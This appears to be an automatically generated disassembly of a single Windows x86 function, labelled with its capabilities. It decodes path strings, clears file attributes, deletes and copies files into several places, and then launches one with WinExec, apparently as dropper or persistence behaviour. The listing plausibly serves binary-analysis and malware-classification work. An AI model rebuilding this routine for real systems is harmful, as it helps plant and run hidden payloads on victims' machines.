Function at 0x10009150
Capabilities:
Copy file
Create process on windows
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10020059
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x26c
mov eax, dword [0x100262c4]
mov dword [ebp - 0x1c], eax
push edi
mov dword [ebp - 0x254], ecx
push 0x10021960
lea ecx, [ebp - 0x198]
call fcn.1000c590
mov dword [ebp - 4], 0
mov byte [ebp - 0x124], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x123]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x1d8]
call fcn.10001f10
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x15c]
call fcn.10001f10
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1fc]
call fcn.10001f10
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x17c]
call fcn.10001f10
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x140]
call fcn.10001f10
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1bc]
call fcn.10001f10
mov byte [ebp - 4], 6
push 0
mov ecx, dword [ebp - 0x254]
call fcn.1000e300
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x124]
push ecx
call fcn.10017310
add esp, 8
push 0x10021964
lea edx, [ebp - 0x124]
push edx
call fcn.10017320
add esp, 8
movzx eax, byte [0x10021bdd]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1e0], 0
mov ecx, dword [ebp - 0x14]
add ecx, 1
push ecx
call fcn.10015ab7
add esp, 4
mov dword [ebp - 0x200], eax
mov edx, dword [ebp - 0x200]
mov dword [ebp - 0x1e0], edx
mov eax, dword [ebp - 0x14]
add eax, 1
push eax
push 0
mov ecx, dword [ebp - 0x1e0]
push ecx
call fcn.10016820
add esp, 0xc
mov edx, dword [ebp - 0x14]
push edx
push 0x10021bd8
mov eax, dword [ebp - 0x1e0]
push eax
call fcn.100164e0
add esp, 0xc
push 0x10021c4c
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x1e0]
push edx
call fcn.10011ca0
add esp, 0xc
mov eax, dword [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x198]
call fcn.10001fb0
mov ecx, dword [ebp - 0x1e0]
mov dword [ebp - 0x204], ecx
mov edx, dword [ebp - 0x204]
push edx
call fcn.1001641a
add esp, 4
lea ecx, [ebp - 0x198]
call fcn.10001fd0
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.10017320
add esp, 8
mov ecx, dword [ebp - 0x254]
add ecx, 0x1c
push ecx
lea ecx, [ebp - 0x1d8]
call fcn.1000c5d0
mov edx, dword [ebp - 0x254]
add edx, 0xa8
push edx
lea ecx, [ebp - 0x15c]
call fcn.1000c5d0
push 0
lea ecx, [ebp - 0x1d8]
call fcn.10001fd0
push eax
call fcn.100172bc
add esp, 8
cmp eax, 0xffffffff
je 0x10009373
push 0x80
lea ecx, [ebp - 0x1d8]
call fcn.10001fd0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x1d8]
call fcn.10001fd0
push eax
call fcn.100172b7
add esp, 4
push 0
lea ecx, [ebp - 0x1d8]
call fcn.10001fd0
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea ecx, [ebp - 0x15c]
call fcn.10001fd0
push eax
lea ecx, [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, dword [ebp - 0x254]
add edx, 0x1c
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x208], esp
push edx
call fcn.10001f40
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 4], 7
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x20c], esp
push 0x10021968
call fcn.1000c590
mov dword [ebp - 0x260], eax
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x254]
call fcn.100112a0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x124]
push edx
call fcn.10017310
add esp, 8
push 0x1002196c
lea eax, [ebp - 0x124]
push eax
call fcn.10017320
add esp, 8
movzx ecx, byte [0x10021a96]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1dc], 0
mov edx, dword [ebp - 0x18]
add edx, 1
push edx
call fcn.10015ab7
add esp, 4
mov dword [ebp - 0x210], eax
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x1dc], eax
mov ecx, dword [ebp - 0x18]
add ecx, 1
push ecx
push 0
mov edx, dword [ebp - 0x1dc]
push edx
call fcn.10016820
add esp, 0xc
mov eax, dword [ebp - 0x18]
push eax
push str.RMbFd_MepV_M
mov ecx, dword [ebp - 0x1dc]
push ecx
call fcn.100164e0
add esp, 0xc
push 0x10021c4c
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x1dc]
push eax
call fcn.10011ca0
add esp, 0xc
mov ecx, dword [ebp - 0x1dc]
push ecx
lea ecx, [ebp - 0x198]
call fcn.10001fb0
mov edx, dword [ebp - 0x1dc]
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0x214]
push eax
call fcn.1001641a
add esp, 4
lea ecx, [ebp - 0x198]
call fcn.10001fd0
push eax
lea ecx, [ebp - 0x124]
push ecx
call fcn.10017320
add esp, 8
mov edx, dword [ebp - 0x254]
add edx, 0x38
push edx
lea ecx, [ebp - 0x1fc]
call fcn.1000c5d0
mov eax, dword [ebp - 0x254]
add eax, 0xc4
push eax
lea ecx, [ebp - 0x17c]
call fcn.1000c5d0
push 0
lea ecx, [ebp - 0x1fc]
call fcn.10001fd0
push eax
call fcn.100172bc
add esp, 8
cmp eax, 0xffffffff
je 0x10009561
push 0x80
lea ecx, [ebp - 0x1fc]
call fcn.10001fd0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x1fc]
call fcn.10001fd0
push eax
call fcn.100172b7
add esp, 4
push 0
lea ecx, [ebp - 0x1fc]
call fcn.10001fd0
push eax
lea ecx, [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea ecx, [ebp - 0x17c]
call fcn.10001fd0
push eax
lea edx, [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1fc]
call fcn.10001fd0
push eax
lea ecx, [ebp - 0x230]
call fcn.1000c590
mov byte [ebp - 4], 8
push 1
lea eax, [ebp - 0x230]
push eax
mov ecx, dword [ebp - 0x254]
call fcn.1000a450
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x230]
call fcn.10001f90
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x124]
push edx
call fcn.10017310
add esp, 8
push 0x10021970
lea eax, [ebp - 0x124]
push eax
call fcn.10017320
add esp, 8
movzx ecx, byte [0x10021d85]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x1a0], 0
mov edx, dword [ebp - 0x10]
add edx, 1
push edx
call fcn.10015ab7
add esp, 4
mov dword [ebp - 0x234], eax
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x1a0], eax
mov ecx, dword [ebp - 0x10]
add ecx, 1
push ecx
push 0
mov edx, dword [ebp - 0x1a0]
push edx
call fcn.10016820
add esp, 0xc
mov eax, dword [ebp - 0x10]
push eax
push 0x10021d80
mov ecx, dword [ebp - 0x1a0]
push ecx
call fcn.100164e0
add esp, 0xc
push 0x10021c4c
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x1a0]
push eax
call fcn.10011ca0
add esp, 0xc
mov ecx, dword [ebp - 0x1a0]
push ecx
lea ecx, [ebp - 0x198]
call fcn.10001fb0
mov edx, dword [ebp - 0x1a0]
mov dword [ebp - 0x238], edx
mov eax, dword [ebp - 0x238]
push eax
call fcn.1001641a
add esp, 4
lea ecx, [ebp - 0x198]
call fcn.10001fd0
push eax
lea ecx, [ebp - 0x124]
push ecx
call fcn.10017320
add esp, 8
mov edx, dword [ebp - 0x254]
add edx, 0x54
push edx
lea ecx, [ebp - 0x140]
call fcn.1000c5d0
mov eax, dword [ebp - 0x254]
add eax, 0xe0
push eax
lea ecx, [ebp - 0x1bc]
call fcn.1000c5d0
push 0
lea ecx, [ebp - 0x140]
call fcn.10001fd0
push eax
call fcn.100172bc
add esp, 8
cmp eax, 0xffffffff
je 0x10009731
push 0x80
lea ecx, [ebp - 0x140]
call fcn.10001fd0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x140]
call fcn.10001fd0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea ecx, [ebp - 0x140]
call fcn.10001fd0
push eax
lea ecx, [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea ecx, [ebp - 0x1bc]
call fcn.10001fd0
push eax
lea edx, [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x23c], esp
push 0x10021974
call fcn.1000c590
mov dword [ebp - 0x264], eax
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x268], eax
mov byte [ebp - 4], 9
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x240], esp
lea edx, [ebp - 0x140]
push edx
call fcn.10001f40
mov dword [ebp - 0x26c], eax
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x254]
call fcn.1000ba30
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x244], esp
push 0x10021978
call fcn.1000c590
mov dword [ebp - 0x270], eax
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x274], eax
mov byte [ebp - 4], 0xa
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x248], esp
lea edx, [ebp - 0x140]
push edx
call fcn.10001f40
mov dword [ebp - 0x278], eax
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x254]
call fcn.1000ba30
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x124]
push ecx
call fcn.10017310
add esp, 8
push 0x1002197c
lea edx, [ebp - 0x124]
push edx
call fcn.10017320
add esp, 8
movzx eax, byte [0x10021ac7]
mov dword [ebp - 0x19c], eax
mov dword [ebp - 0x160], 0
mov ecx, dword [ebp - 0x19c]
add ecx, 1
push ecx
call fcn.10015ab7
add esp, 4
mov dword [ebp - 0x24c], eax
mov edx, dword [ebp - 0x24c]
mov dword [ebp - 0x160], edx
mov eax, dword [ebp - 0x19c]
add eax, 1
push eax
push 0
mov ecx, dword [ebp - 0x160]
push ecx
call fcn.10016820
add esp, 0xc
mov edx, dword [ebp - 0x19c]
push edx
push 0x10021ac0
mov eax, dword [ebp - 0x160]
push eax
call fcn.100164e0
add esp, 0xc
push 0x10021c4c
mov ecx, dword [ebp - 0x19c]
push ecx
mov edx, dword [ebp - 0x160]
push edx
call fcn.10011ca0
add esp, 0xc
mov eax, dword [ebp - 0x160]
push eax
lea ecx, [ebp - 0x198]
call fcn.10001fb0
mov ecx, dword [ebp - 0x160]
mov dword [ebp - 0x250], ecx
mov edx, dword [ebp - 0x250]
push edx
call fcn.1001641a
add esp, 4
lea ecx, [ebp - 0x198]
call fcn.10001fd0
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.10017320
add esp, 8
push 0
lea ecx, [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1bc]
call fcn.10001f90
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x140]
call fcn.10001f90
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x17c]
call fcn.10001f90
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1fc]
call fcn.10001f90
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x15c]
call fcn.10001f90
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1d8]
call fcn.10001f90
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x198]
call fcn.10001f90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x1c]
call fcn.10015c70
pop edi
mov esp, ebp
pop ebp
ret 4